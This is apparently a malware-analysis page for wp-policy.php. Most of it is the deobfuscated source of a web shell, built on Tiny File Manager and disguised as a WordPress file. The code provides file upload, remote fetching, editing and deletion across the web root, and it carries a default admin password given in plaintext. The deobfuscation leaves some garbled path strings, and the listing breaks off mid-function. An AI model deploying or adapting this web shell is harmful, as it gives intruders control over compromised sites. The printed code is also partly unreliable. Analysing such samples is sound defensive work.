PHP Malware Analysis

wp-policy.php

md5: ee8e4d7c013753bcb4eb1209764eb81a

Jump to:

Screenshot


Attributes

Emails

Environment

Execution

Files

Input

Title
  • <?php echo fm_enc(APP_TITLE) ?></title>", 3454 => " <link rel=\"stylesheet\" href=\"https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css\">", 3455 => " <style>", 3456 => " body.fm-login-page{ background-color:#f7f9fb;font-s (Deobfuscated)
  • Tiny File Manager (HTML)

URLs


Deobfuscated PHP code

<?php

//Default Configuration
$CONFIG = '{"lang":"en","error_reporting":false,"show_hidden":false,"hide_Cols":false,"calc_folder":false,"theme":"light"}';
/**
 * H3K | Tiny File Manager V2.4.6
 * CCP Programmers | ccpprogrammers@gmail.com
 * https://tinyfilemanager.github.io
 */
//TFM version
define('VERSION', '2.4.6');
//Application Title
define('APP_TITLE', 'Tiny File Manager');
// --- EDIT BELOW CONFIGURATION CAREFULLY ---
// Auth with login/password
// set true/false to enable/disable it
// Is independent from IP white- and blacklisting
$use_auth = true;
// Login user name and password
// Users: array('Username' => 'Password', 'Username2' => 'Password2', ...)
// Generate secure password hash - https://tinyfilemanager.github.io/docs/pwd.html
$auth_users = array(
    'admin' => '$2y$10$/K.hjNr84lLNDt8fTXjoI.DBp6PpeyoJ.mGwrrLuCZfAwfSAGqhOW',
    //admin@123
    'user' => '$2y$10$Fg6Dz8oH9fPoZ2jJan5tZuv6Z4Kp7avtQ9bDfrdRntXtPeiMAZyGO',
);
// Readonly users
// e.g. array('users', 'guest', ...)
$readonly_users = array('user');
// Enable highlight.js (https://highlightjs.org/) on view's page
$use_highlightjs = true;
// highlight.js style
// for dark theme use 'ir-black'
$highlightjs_style = 'vs';
// Enable ace.js (https://ace.c9.io/) on view's page
$edit_files = true;
// Default timezone for date() and time()
// Doc - http://php.net/manual/en/timezones.php
$default_timezone = 'Etc/UTC';
// UTC
// Root path for file manager
// use absolute path of directory i.e: '/var/www/folder' or $_SERVER['DOCUMENT_ROOT'].'/folder'
$root_path = $_SERVER['DOCUMENT_ROOT'];
// Root url for links in file manager.Relative to $http_host. Variants: '', 'path/to/subfolder'
// Will not working if $root_path will be outside of server document root
$root_url = '';
// Server hostname. Can set manually if wrong
$http_host = $_SERVER['HTTP_HOST'];
// user specific directories
// array('Username' => 'Directory path', 'Username2' => 'Directory path', ...)
$directories_users = array();
// input encoding for iconv
$iconv_input_encoding = 'UTF-8';
// date() format for file modification date
// Doc - https://www.php.net/manual/en/function.date.php
$datetime_format = 'd.m.y H:i';
// Allowed file extensions for create and rename files
// e.g. 'txt,html,css,js'
$allowed_file_extensions = '';
// Allowed file extensions for upload files
// e.g. 'gif,png,jpg,html,txt'
$allowed_upload_extensions = '';
// Favicon path. This can be either a full url to an .PNG image, or a path based on the document root.
// full path, e.g http://example.com/favicon.png
// local path, e.g images/icons/favicon.png
$favicon_path = '';
// Files and folders to excluded from listing
// e.g. array('myfile.html', 'personal-folder', '*.php', ...)
$exclude_items = array();
// Online office Docs Viewer
// Availabe rules are 'google', 'microsoft' or false
// google => View documents using Google Docs Viewer
// microsoft => View documents using Microsoft Web Apps Viewer
// false => disable online doc viewer
$online_viewer = 'google';
// Sticky Nav bar
// true => enable sticky header
// false => disable sticky header
$sticky_navbar = true;
// Maximum file upload size
// Increase the following values in php.ini to work properly
// memory_limit, upload_max_filesize, post_max_size
$max_upload_size_bytes = 5000;
// Possible rules are 'OFF', 'AND' or 'OR'
// OFF => Don't check connection IP, defaults to OFF
// AND => Connection must be on the whitelist, and not on the blacklist
// OR => Connection must be on the whitelist, or not on the blacklist
$ip_ruleset = 'OFF';
// Should users be notified of their block?
$ip_silent = true;
// IP-addresses, both ipv4 and ipv6
$ip_whitelist = array(
    '127.0.0.1',
    // local ipv4
    '::1',
);
// IP-addresses, both ipv4 and ipv6
$ip_blacklist = array(
    '0.0.0.0',
    // non-routable meta ipv4
    '::',
);
// if User has the customized config file, try to use it to override the default config above
$config_file = "/var/www/html/config.php";
if (is_readable($config_file)) {
    @(include $config_file);
}
// --- EDIT BELOW CAREFULLY OR DO NOT EDIT AT ALL ---
// max upload file size
define('MAX_UPLOAD_SIZE', $max_upload_size_bytes);
// private key and session name to store to the session
if (!defined('FM_SESSION_ID')) {
    define('FM_SESSION_ID', 'filemanager');
}
// Configuration
$cfg = new FM_Config();
// Default language
$lang = isset($cfg->data['lang']) ? $cfg->data['lang'] : 'en';
// Show or hide files and folders that starts with a dot
$show_hidden_files = isset($cfg->data['show_hidden']) ? $cfg->data['show_hidden'] : true;
// PHP error reporting - false = Turns off Errors, true = Turns on Errors
$report_errors = isset($cfg->data['error_reporting']) ? $cfg->data['error_reporting'] : true;
// Hide Permissions and Owner cols in file-listing
$hide_Cols = isset($cfg->data['hide_Cols']) ? $cfg->data['hide_Cols'] : true;
// Show directory size: true or speedup output: false
$calc_folder = isset($cfg->data['calc_folder']) ? $cfg->data['calc_folder'] : true;
// Theme
$theme = isset($cfg->data['theme']) ? $cfg->data['theme'] : 'light';
define('FM_THEME', $theme);
//available languages
$lang_list = array('en' => 'English');
if ($report_errors == true) {
    @ini_set('error_reporting', E_ALL);
    @ini_set('display_errors', 1);
} else {
    @ini_set('error_reporting', E_ALL);
    @ini_set('display_errors', 0);
}
// if fm included
if (defined('FM_EMBED')) {
    $use_auth = false;
    $sticky_navbar = false;
} else {
    @set_time_limit(600);
    date_default_timezone_set($default_timezone);
    ini_set('default_charset', 'UTF-8');
    if (version_compare(PHP_VERSION, '5.6.0', '<') && function_exists('mb_internal_encoding')) {
        mb_internal_encoding('UTF-8');
    }
    if (function_exists('mb_regex_encoding')) {
        mb_regex_encoding('UTF-8');
    }
    session_cache_limiter('');
    session_name(FM_SESSION_ID);
    function session_error_handling_function($code, $msg, $file, $line)
    {
        // Permission denied for default session, try to create a new one
        if ($code == 2) {
            session_abort();
            session_id(session_create_id());
            @session_start();
        }
    }
    set_error_handler('session_error_handling_function');
    session_start();
    restore_error_handler();
}
if (empty($auth_users)) {
    $use_auth = false;
}
$is_https = isset($_SERVER['HTTPS']) && ($_SERVER['HTTPS'] == 'on' || $_SERVER['HTTPS'] == 1) || isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https';
// update $root_url based on user specific directories
if (isset($_SESSION[FM_SESSION_ID]['logged']) && !empty($directories_users[$_SESSION[FM_SESSION_ID]['logged']])) {
    $wd = fm_clean_path(dirname($_SERVER['PHP_SELF']));
    $root_url = $root_url . $wd . DIRECTORY_SEPARATOR . $directories_users[$_SESSION[FM_SESSION_ID]['logged']];
}
// clean $root_url
$root_url = fm_clean_path($root_url);
// abs path for site
defined('FM_ROOT_URL') || define('FM_ROOT_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . (!empty($root_url) ? '/' . $root_url : ''));
defined('FM_SELF_URL') || define('FM_SELF_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . $_SERVER['PHP_SELF']);
// logout
if (isset($_GET['logout'])) {
    unset($_SESSION[FM_SESSION_ID]['logged']);
    fm_redirect(FM_SELF_URL);
}
// Validate connection IP
if ($ip_ruleset != 'OFF') {
    $clientIp = $_SERVER['REMOTE_ADDR'];
    $proceed = false;
    $whitelisted = in_array($clientIp, $ip_whitelist);
    $blacklisted = in_array($clientIp, $ip_blacklist);
    if ($ip_ruleset == 'AND') {
        if ($whitelisted == true && $blacklisted == false) {
            $proceed = true;
        }
    } else {
        if ($ip_ruleset == 'OR') {
            if ($whitelisted == true || $blacklisted == false) {
                $proceed = true;
            }
        }
    }
    if ($proceed == false) {
        trigger_error('User connection denied from: ' . $clientIp, E_USER_WARNING);
        if ($ip_silent == false) {
            fm_set_msg(lng('Access denied. IP restriction applicable'), 'error');
            fm_show_header_login();
            fm_show_message();
        }
        exit;
    }
}
// Auth
if ($use_auth) {
    if (isset($_SESSION[FM_SESSION_ID]['logged'], $auth_users[$_SESSION[FM_SESSION_ID]['logged']])) {
        // Logged
    } elseif (isset($_POST['fm_usr'], $_POST['fm_pwd'])) {
        // Logging In
        sleep(1);
        if (function_exists('password_verify')) {
            if (isset($auth_users[$_POST['fm_usr']]) && isset($_POST['fm_pwd']) && password_verify($_POST['fm_pwd'], $auth_users[$_POST['fm_usr']])) {
                $_SESSION[FM_SESSION_ID]['logged'] = $_POST['fm_usr'];
                fm_set_msg(lng('You are logged in'));
                fm_redirect("FM_SELF_URL?p=");
            } else {
                unset($_SESSION[FM_SESSION_ID]['logged']);
                fm_set_msg(lng('Login failed. Invalid username or password'), 'error');
                fm_redirect(FM_SELF_URL);
            }
        } else {
            fm_set_msg(lng('password_hash not supported, Upgrade PHP version'), 'error');
        }
    } else {
        // Form
        unset($_SESSION[FM_SESSION_ID]['logged']);
        fm_show_header_login();
        ?>
        <section class="h-100">
            <div class="container h-100">
                <div class="row justify-content-md-center h-100">
                    <div class="card-wrapper">
                        <div class="card fat <?php 
        echo fm_get_theme();
        ?>">
                            <div class="card-body">
                                <form class="form-signin" action="" method="post" autocomplete="off">
                                    <div class="form-group">
                                       <div class="brand">
                                            <svg version="1.0" xmlns="http://www.w3.org/2000/svg" M1008 width="100%" height="80px" viewBox="0 0 238.000000 140.000000" aria-label="H3K Tiny File Manager">
                                                <g transform="translate(0.000000,140.000000) scale(0.100000,-0.100000)" fill="#000000" stroke="none">
                                                    <path d="M160 700 l0 -600 110 0 110 0 0 260 0 260 70 0 70 0 0 -260 0 -260 110 0 110 0 0 600 0 600 -110 0 -110 0 0 -260 0 -260 -70 0 -70 0 0 260 0 260 -110 0 -110 0 0 -600z"/>
                                                    <path fill="#003500" d="M1008 1227 l-108 -72 0 -117 0 -118 110 0 110 0 0 110 0 110 70 0 70 0 0 -180 0 -180 -125 0 c-69 0 -125 -3 -125 -6 0 -3 23 -39 52 -80 l52 -74 73 0 73 0 0 -185 0 -185 -70 0 -70 0 0 115 0 115 -110 0 -110 0 0 -190 0 -190 181 0 181 0 109 73 108 72 1 181 0 181 -69 48 -68 49 68 50 69 49 0 249 0 248 -182 -1 -183 0 -107 -72z"/>
                                                    <path d="M1640 700 l0 -600 110 0 110 0 0 208 0 208 35 34 35 34 35 -34 35 -34 0 -208 0 -208 110 0 110 0 0 212 0 213 -87 87 -88 88 88 88 87 87 0 213 0 212 -110 0 -110 0 0 -208 0 -208 -70 -69 -70 -69 0 277 0 277 -110 0 -110 0 0 -600z"/></g>
                                            </svg>
                                        </div>
                                        <div class="text-center">
                                            <h1 class="card-title"><?php 
        echo "Tiny File Manager";
        ?></h1>
                                        </div>
                                    </div>
                                    <hr />
                                    <div class="form-group">
                                        <label for="fm_usr"><?php 
        echo lng('Username');
        ?></label>
                                        <input type="text" class="form-control" id="fm_usr" name="fm_usr" required autofocus>
                                    </div>

                                    <div class="form-group">
                                        <label for="fm_pwd"><?php 
        echo lng('Password');
        ?></label>
                                        <input type="password" class="form-control" id="fm_pwd" name="fm_pwd" required>
                                    </div>

                                    <div class="form-group">
                                        <?php 
        fm_show_message();
        ?>
                                    </div>

                                    <div class="form-group">
                                        <button type="submit" class="btn btn-success btn-block mt-4" role="button">
                                            <?php 
        echo lng('Login');
        ?>
                                        </button>
                                    </div>
                                </form>
                            </div>
                        </div>
                        <div class="footer text-center">
                            &mdash;&mdash; &copy;
                            <a href="https://tinyfilemanager.github.io/" target="_blank" class="text-muted" data-version="<?php 
        echo "2.4.6";
        ?>">CCP Programmers</a> &mdash;&mdash;
                        </div>
                    </div>
                </div>
            </div>
        </section>

        <?php 
        fm_show_footer_login();
        exit;
    }
}
// update root path
if ($use_auth && isset($_SESSION[FM_SESSION_ID]['logged'])) {
    $root_path = isset($directories_users[$_SESSION[FM_SESSION_ID]['logged']]) ? $directories_users[$_SESSION[FM_SESSION_ID]['logged']] : $root_path;
}
// clean and check $root_path
$root_path = rtrim($root_path, '\\/');
$root_path = str_replace('\\', '/', $root_path);
if (!@is_dir($root_path)) {
    echo "<h1>" . lng('Root path') . " \"{$root_path}\" " . lng('not found!') . " </h1>";
    exit;
}
defined('FM_SHOW_HIDDEN') || define('FM_SHOW_HIDDEN', $show_hidden_files);
defined('FM_ROOT_PATH') || define('FM_ROOT_PATH', $root_path);
defined('FM_LANG') || define('FM_LANG', $lang);
defined('FM_FILE_EXTENSION') || define('FM_FILE_EXTENSION', $allowed_file_extensions);
defined('FM_UPLOAD_EXTENSION') || define('FM_UPLOAD_EXTENSION', $allowed_upload_extensions);
defined('FM_EXCLUDE_ITEMS') || define('FM_EXCLUDE_ITEMS', version_compare(PHP_VERSION, '7.0.0', '<') ? serialize($exclude_items) : $exclude_items);
defined('FM_DOC_VIEWER') || define('FM_DOC_VIEWER', $online_viewer);
define('FM_READONLY', $use_auth && !empty($readonly_users) && isset($_SESSION[FM_SESSION_ID]['logged']) && in_array($_SESSION[FM_SESSION_ID]['logged'], $readonly_users));
define('FM_IS_WIN', false);
// always use ?p=
if (!isset($_GET['p']) && empty($_FILES)) {
    fm_redirect("FM_SELF_URL?p=");
}
// get path
$p = isset($_GET['p']) ? $_GET['p'] : (isset($_POST['p']) ? $_POST['p'] : '');
// clean path
$p = fm_clean_path($p);
// for ajax request - save
$input = file_get_contents('php://input');
$_POST = strpos($input, 'ajax') != FALSE && strpos($input, 'save') != FALSE ? json_decode($input, true) : $_POST;
// instead globals vars
define('FM_PATH', $p);
define('FM_USE_AUTH', $use_auth);
define('FM_EDIT_FILE', $edit_files);
defined('FM_ICONV_INPUT_ENC') || define('FM_ICONV_INPUT_ENC', $iconv_input_encoding);
defined('FM_USE_HIGHLIGHTJS') || define('FM_USE_HIGHLIGHTJS', $use_highlightjs);
defined('FM_HIGHLIGHTJS_STYLE') || define('FM_HIGHLIGHTJS_STYLE', $highlightjs_style);
defined('FM_DATETIME_FORMAT') || define('FM_DATETIME_FORMAT', $datetime_format);
unset($p, $use_auth, $iconv_input_encoding, $use_highlightjs, $highlightjs_style);
/*************************** ACTIONS ***************************/
// AJAX Request
if (isset($_POST['ajax']) && !FM_READONLY) {
    // save
    if (isset($_POST['type']) && $_POST['type'] == "save") {
        // get current path
        $path = FM_ROOT_PATH;
        if (true) {
            $path = "FM_ROOT_PATH/FM_PATH";
        }
        // check path
        if (!is_dir($path)) {
            fm_redirect("FM_SELF_URL?p=");
        }
        $file = $_GET['edit'];
        $file = fm_clean_path($file);
        $file = str_replace('/', '', $file);
        if ($file == '' || !is_file($path . '/' . $file)) {
            fm_set_msg(lng('File not found'), 'error');
            fm_redirect("FM_SELF_URL?p=" . urlencode(FM_PATH));
        }
        header('X-XSS-Protection:0');
        $file_path = $path . '/' . $file;
        $writedata = $_POST['content'];
        $fd = fopen($file_path, "w");
        $write_results = @fwrite($fd, $writedata);
        fclose($fd);
        if ($write_results === false) {
            header("HTTP/1.1 500 Internal Server Error");
            die("Could Not Write File! - Check Permissions / Ownership");
        }
        die(true);
    }
    //search : get list of files from the current folder
    if (isset($_POST['type']) && $_POST['type'] == "search") {
        $dir = FM_ROOT_PATH;
        $response = scan(fm_clean_path($_POST['path']), $_POST['content']);
        echo json_encode($response);
        exit;
    }
    // backup files
    if (isset($_POST['type']) && $_POST['type'] == "backup" && !empty($_POST['file'])) {
        $fileName = $_POST['file'];
        $fullPath = "FM_ROOT_PATH/";
        if (!empty($_POST['path'])) {
            $relativeDirPath = fm_clean_path($_POST['path']);
            $fullPath .= "{$relativeDirPath}/";
        }
        $date = date("dMy-His");
        $newFileName = "{$fileName}-{$date}.bak";
        $fullyQualifiedFileName = $fullPath . $fileName;
        try {
            if (!file_exists($fullyQualifiedFileName)) {
                throw new Exception("File {$fileName} not found");
            }
            if (copy($fullyQualifiedFileName, $fullPath . $newFileName)) {
                echo "Backup {$newFileName} created";
            } else {
                throw new Exception("Could not copy file {$fileName}");
            }
        } catch (Exception $e) {
            echo $e->getMessage();
        }
    }
    // Save Config
    if (isset($_POST['type']) && $_POST['type'] == "settings") {
        global $cfg, $lang, $report_errors, $show_hidden_files, $lang_list, $hide_Cols, $calc_folder, $theme;
        $newLng = $_POST['js-language'];
        fm_get_translations([]);
        if (!array_key_exists($newLng, $lang_list)) {
            $newLng = 'en';
        }
        $erp = isset($_POST['js-error-report']) && $_POST['js-error-report'] == "true" ? true : false;
        $shf = isset($_POST['js-show-hidden']) && $_POST['js-show-hidden'] == "true" ? true : false;
        $hco = isset($_POST['js-hide-cols']) && $_POST['js-hide-cols'] == "true" ? true : false;
        $caf = isset($_POST['js-calc-folder']) && $_POST['js-calc-folder'] == "true" ? true : false;
        $te3 = $_POST['js-theme-3'];
        if ($cfg->data['lang'] != $newLng) {
            $cfg->data['lang'] = $newLng;
            $lang = $newLng;
        }
        if ($cfg->data['error_reporting'] != $erp) {
            $cfg->data['error_reporting'] = $erp;
            $report_errors = $erp;
        }
        if ($cfg->data['show_hidden'] != $shf) {
            $cfg->data['show_hidden'] = $shf;
            $show_hidden_files = $shf;
        }
        if ($cfg->data['show_hidden'] != $shf) {
            $cfg->data['show_hidden'] = $shf;
            $show_hidden_files = $shf;
        }
        if ($cfg->data['hide_Cols'] != $hco) {
            $cfg->data['hide_Cols'] = $hco;
            $hide_Cols = $hco;
        }
        if ($cfg->data['calc_folder'] != $caf) {
            $cfg->data['calc_folder'] = $caf;
            $calc_folder = $caf;
        }
        if ($cfg->data['theme'] != $te3) {
            $cfg->data['theme'] = $te3;
            $theme = $te3;
        }
        $cfg->save();
        echo true;
    }
    // new password hash
    if (isset($_POST['type']) && $_POST['type'] == "pwdhash") {
        $res = isset($_POST['inputPassword2']) && !empty($_POST['inputPassword2']) ? password_hash($_POST['inputPassword2'], PASSWORD_DEFAULT) : '';
        echo $res;
    }
    //upload using url
    if (isset($_POST['type']) && $_POST['type'] == "upload" && !empty($_REQUEST["uploadurl"])) {
        $path = FM_ROOT_PATH;
        if (true) {
            $path = "FM_ROOT_PATH/FM_PATH";
        }
        function event_callback($message)
        {
            global $callback;
            echo json_encode($message);
        }
        function get_file_path()
        {
            global $path, $fileinfo, $temp_file;
            return $path . "/" . basename($fileinfo->name);
        }
        $url = !empty($_REQUEST["uploadurl"]) && preg_match("|^http(s)?://.+\$|", stripslashes($_REQUEST["uploadurl"])) ? stripslashes($_REQUEST["uploadurl"]) : null;
        //prevent 127.* domain and known ports
        $domain = parse_url($url, PHP_URL_HOST);
        $port = parse_url($url, PHP_URL_PORT);
        $knownPorts = [22, 23, 25, 3306];
        if (preg_match("/^localhost\$|^127(?:\\.[0-9]+){0,2}\\.[0-9]+\$|^(?:0*\\:)*?:?0*1\$/i", $domain) || in_array($port, $knownPorts)) {
            $err = array("message" => "URL is not allowed");
            event_callback(array("fail" => $err));
            exit;
        }
        $use_curl = false;
        $temp_file = tempnam(sys_get_temp_dir(), "upload-");
        $fileinfo = new stdClass();
        $fileinfo->name = trim(basename($url), ".\x00.. ");
        $allowed = array(0 => "FM_UPLOAD_EXTENSION");
        $ext = strtolower(pathinfo($fileinfo->name, PATHINFO_EXTENSION));
        $isFileAllowed = $allowed ? in_array($ext, $allowed) : true;
        $err = false;
        if (!$isFileAllowed) {
            $err = array("message" => "File extension is not allowed");
            event_callback(array("fail" => $err));
            exit;
        }
        if (!$url) {
            $success = false;
        } else {
            if ($use_curl) {
                @($fp = fopen($temp_file, "w"));
                @($ch = curl_init($url));
                curl_setopt($ch, CURLOPT_NOPROGRESS, false);
                curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
                curl_setopt($ch, CURLOPT_FILE, $fp);
                @($success = curl_exec($ch));
                $curl_info = curl_getinfo($ch);
                if (!$success) {
                    $err = array("message" => curl_error($ch));
                }
                @curl_close($ch);
                fclose($fp);
                $fileinfo->size = $curl_info["size_download"];
                $fileinfo->type = $curl_info["content_type"];
            } else {
                $ctx = stream_context_create();
                @($success = copy($url, $temp_file, $ctx));
                if (!$success) {
                    $err = error_get_last();
                }
            }
        }
        if ($success) {
            $success = rename($temp_file, get_file_path());
        }
        if ($success) {
            event_callback(array("done" => $fileinfo));
        } else {
            unlink($temp_file);
            if (!$err) {
                $err = array("message" => "Invalid url parameter");
            }
            event_callback(array("fail" => $err));
        }
    }
    exit;
}
// Delete file / folder
if (isset($_GET['del']) && !FM_READONLY) {
    $del = str_replace('/', '', fm_clean_path($_GET['del']));
    if ($del != '' && $del != '..' && $del != '.') {
        $path = FM_ROOT_PATH;
        if (true) {
            $path = "FM_ROOT_PATH/FM_PATH";
        }
        $is_dir = is_dir($path . '/' . $del);
        if (fm_rdelete($path . '/' . $del)) {
            $msg = $is_dir ? lng('Folder') . ' <b>%s</b> ' . lng('Deleted') : lng('File') . ' <b>%s</b> ' . lng('Deleted');
            fm_set_msg(sprintf($msg, fm_enc($del)));
        } else {
            $msg = $is_dir ? lng('Folder') . ' <b>%s</b> ' . lng('not deleted') : lng('File') . ' <b>%s</b> ' . lng('not deleted');
            fm_set_msg(sprintf($msg, fm_enc($del)), 'error');
        }
    } else {
        fm_set_msg(lng('Invalid file or folder name'), 'error');
    }
    fm_redirect("FM_SELF_URL?p=" . urlencode(FM_PATH));
}
// Create folder
if (isset($_GET['new']) && isset($_GET['type']) && !FM_READONLY) {
    $type = $_GET['type'];
    $new = str_replace('/', '', fm_clean_path(strip_tags($_GET['new'])));
    if (fm_isvalid_filename($new) && $new != '' && $new != '..' && $new != '.') {
        $path = FM_ROOT_PATH;
        if (true) {
            $path = "FM_ROOT_PATH/FM_PATH";
        }
        if ($_GET['type'] == "file") {
            if (!file_exists($path . '/' . $new)) {
                if (fm_is_valid_ext($new)) {
                    @fopen($path . '/' . $new, 'w') or die('Cannot open file:  ' . $new);
                    fm_set_msg(sprintf(lng('File') . ' <b>%s</b> ' . lng('Created'), fm_enc($new)));
                } else {
                    fm_set_msg(lng('File extension is not allowed'), 'error');
                }
            } else {
                fm_set_msg(sprintf(lng('File') . ' <b>%s</b> ' . lng('already exists'), fm_enc($new)), 'alert');
            }
        } else {
            if (fm_mkdir($path . '/' . $new, false) === true) {
                fm_set_msg(sprintf(lng('Folder') . ' <b>%s</b> ' . lng('Created'), $new));
            } elseif (fm_mkdir($path . '/' . $new, false) === $path . '/' . $new) {
                fm_set_msg(sprintf(lng('Folder') . ' <b>%s</b> ' . lng('already exists'), fm_enc($new)), 'alert');
            } else {
                fm_set_msg(sprintf(lng('Folder') . ' <b>%s</b> ' . lng('not created'), fm_enc($new)), 'error');
            }
        }
    } else {
        fm_set_msg(lng('Invalid characters in file or folder name'), 'error');
    }
    fm_redirect("FM_SELF_URL?p=" . urlencode(FM_PATH));
}
// Copy folder / file
if (isset($_GET['copy'], $_GET['finish']) && !FM_READONLY) {
    // from
    $copy = $_GET['copy'];
    $copy = fm_clean_path($copy);
    // empty path
    if ($copy == '') {
        fm_set_msg(lng('Source path not defined'), 'error');
        fm_redirect("FM_SELF_URL?p=" . urlencode(FM_PATH));
    }
    // abs path from
    $from = "FM_ROOT_PATH/" . $copy;
    // abs path to
    $dest = FM_ROOT_PATH;
    if (true) {
        $dest = "FM_ROOT_PATH/FM_PATH";
    }
    $dest .= '/' . basename($from);
    // move?
    $move = isset($_GET['move']);
    // copy/move/duplicate
    if ($from != $dest) {
        $msg_from = trim("FM_PATH/" . basename($from), '/');
        if ($move) {
            // Move and to != from so just perform move
            $rename = fm_rename($from, $dest);
            if ($rename) {
                fm_set_msg(sprintf(lng('Moved from') . ' <b>%s</b> ' . lng('to') . ' <b>%s</b>', fm_enc($copy), fm_enc($msg_from)));
            } elseif ($rename === null) {
                fm_set_msg(lng('File or folder with this path already exists'), 'alert');
            } else {
                fm_set_msg(sprintf(lng('Error while moving from') . ' <b>%s</b> ' . lng('to') . ' <b>%s</b>', fm_enc($copy), fm_enc($msg_from)), 'error');
            }
        } else {
            // Not move and to != from so copy with original name
            if (fm_rcopy($from, $dest)) {
                fm_set_msg(sprintf(lng('Copied from') . ' <b>%s</b> ' . lng('to') . ' <b>%s</b>', fm_enc($copy), fm_enc($msg_from)));
            } else {
                fm_set_msg(sprintf(lng('Error while copying from') . ' <b>%s</b> ' . lng('to') . ' <b>%s</b>', fm_enc($copy), fm_enc($msg_from)), 'error');
            }
        }
    } else {
        if (!$move) {
            //Not move and to = from so duplicate
            $msg_from = trim("FM_PATH/" . basename($from), '/');
            $fn_parts = pathinfo($from);
            $extension_suffix = '';
            if (!is_dir($from)) {
                $extension_suffix = '.' . $fn_parts['extension'];
            }
            //Create new name for duplicate
            $fn_duplicate = $fn_parts['dirname'] . '/' . $fn_parts['filename'] . '-' . date('YmdHis') . $extension_suffix;
            $loop_count = 0;
            $max_loop = 1000;
            // Check if a file with the duplicate name already exists, if so, make new name (edge case...)
            while (file_exists($fn_duplicate) & $loop_count < $max_loop) {
                $fn_parts = pathinfo($fn_duplicate);
                $fn_duplicate = $fn_parts['dirname'] . '/' . $fn_parts['filename'] . '-copy' . $extension_suffix;
                $loop_count++;
            }
            if (fm_rcopy($from, $fn_duplicate, False)) {
                fm_set_msg(sprintf('Copyied from <b>%s</b> to <b>%s</b>', fm_enc($copy), fm_enc($fn_duplicate)));
            } else {
                fm_set_msg(sprintf('Error while copying from <b>%s</b> to <b>%s</b>', fm_enc($copy), fm_enc($fn_duplicate)), 'error');
            }
        } else {
            fm_set_msg(lng('Paths must be not equal'), 'alert');
        }
    }
    fm_redirect("FM_SELF_URL?p=" . urlencode(FM_PATH));
}
// Mass copy files/ folders
if (isset($_POST['file'], $_POST['copy_to'], $_POST['finish']) && !FM_READONLY) {
    // from
    $path = FM_ROOT_PATH;
    if (true) {
        $path = "FM_ROOT_PATH/FM_PATH";
    }
    // to
    $copy_to_path = FM_ROOT_PATH;
    $copy_to = fm_clean_path($_POST['copy_to']);
    if ($copy_to != '') {
        $copy_to_path .= '/' . $copy_to;
    }
    if ($path == $copy_to_path) {
        fm_set_msg(lng('Paths must be not equal'), 'alert');
        fm_redirect("FM_SELF_URL?p=" . urlencode(FM_PATH));
    }
    if (!is_dir($copy_to_path)) {
        if (!fm_mkdir($copy_to_path, true)) {
            fm_set_msg('Unable to create destination folder', 'error');
            fm_redirect("FM_SELF_URL?p=" . urlencode(FM_PATH));
        }
    }
    // move?
    $move = isset($_POST['move']);
    // copy/move
    $errors = 0;
    $files = $_POST['file'];
    if (is_array($files) && count($files)) {
        foreach ($files as $f) {
            if ($f != '') {
                // abs path from
                $from = $path . '/' . $f;
                // abs path to
                $dest = $copy_to_path . '/' . $f;
                // do
                if ($move) {
                    $rename = fm_rename($from, $dest);
                    if ($rename === false) {
                        $errors++;
                    }
                } else {
                    if (!fm_rcopy($from, $dest)) {
                        $errors++;
                    }
                }
            }
        }
        if ($errors == 0) {
            $msg = $move ? 'Selected files and folders moved' : 'Selected files and folders copied';
            fm_set_msg($msg);
        } else {
            $msg = $move ? 'Error while moving items' : 'Error while copying items';
            fm_set_msg($msg, 'error');
        }
    } else {
        fm_set_msg(lng('Nothing selected'), 'alert');
    }
    fm_redirect("FM_SELF_URL?p=" . urlencode(FM_PATH));
}
// Rename
if (isset($_GET['ren'], $_GET['to']) && !FM_READONLY) {
    // old name
    $old = $_GET['ren'];
    $old = fm_clean_path($old);
    $old = str_replace('/', '', $old);
    // new name
    $new = $_GET['to'];
    $new = fm_clean_path(strip_tags($new));
    $new = str_replace('/', '', $new);
    // path
    $path = FM_ROOT_PATH;
    if (true) {
        $path = "FM_ROOT_PATH/FM_PATH";
    }
    // rename
    if (fm_isvalid_filename($new) && $old != '' && $new != '') {
        if (fm_rename($path . '/' . $old, $path . '/' . $new)) {
            fm_set_msg(sprintf(lng('Renamed from') . ' <b>%s</b> ' . lng('to') . ' <b>%s</b>', fm_enc($old), fm_enc($new)));
        } else {
            fm_set_msg(sprintf(lng('Error while renaming from') . ' <b>%s</b> ' . lng('to') . ' <b>%s</b>', fm_enc($old), fm_enc($new)), 'error');
        }
    } else {
        fm_set_msg(lng('Invalid characters in file name'), 'error');
    }
    fm_redirect("FM_SELF_URL?p=" . urlencode(FM_PATH));
}
// Download
if (isset($_GET['dl'])) {
    $dl = $_GET['dl'];
    $dl = fm_clean_path($dl);
    $dl = str_replace('/', '', $dl);
    $path = FM_ROOT_PATH;
    if (true) {
        $path = "FM_ROOT_PATH/FM_PATH";
    }
    if ($dl != '' && is_file($path . '/' . $dl)) {
        fm_download_file($path . '/' . $dl, $dl, 1024);
        exit;
    } else {
        fm_set_msg(lng('File not found'), 'error');
        fm_redirect("FM_SELF_URL?p=" . urlencode(FM_PATH));
    }
}
// Upload
if (!empty($_FILES) && !FM_READONLY) {
    $override_file_name = false;
    $f = $_FILES;
    $path = FM_ROOT_PATH;
    $ds = DIRECTORY_SEPARATOR;
    if (true) {
        $path = "FM_ROOT_PATH/FM_PATH";
    }
    $errors = 0;
    $uploads = 0;
    $allowed = array(0 => "FM_UPLOAD_EXTENSION");
    $response = array('status' => 'error', 'info' => 'Oops! Try again');
    $filename = $f['file']['name'];
    $tmp_name = $f['file']['tmp_name'];
    $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
    $isFileAllowed = $allowed ? in_array($ext, $allowed) : true;
    if (!fm_isvalid_filename($filename) && !fm_isvalid_filename($_REQUEST['fullpath'])) {
        $response = array('status' => 'error', 'info' => "Invalid File name!");
        echo json_encode($response);
        exit;
    }
    $targetPath = $path . $ds;
    if (is_writable($targetPath)) {
        $fullPath = $path . '/' . $_REQUEST['fullpath'];
        $folder = substr($fullPath, 0, strrpos($fullPath, "/"));
        if (file_exists($fullPath) && !$override_file_name) {
            $ext_1 = $ext ? '.' . $ext : '';
            $fullPath = str_replace($ext_1, '', $fullPath) . '_' . date('ymdHis') . $ext_1;
        }
        if (!is_dir($folder)) {
            $old = umask(0);
            mkdir($folder, 0777, true);
            umask($old);
        }
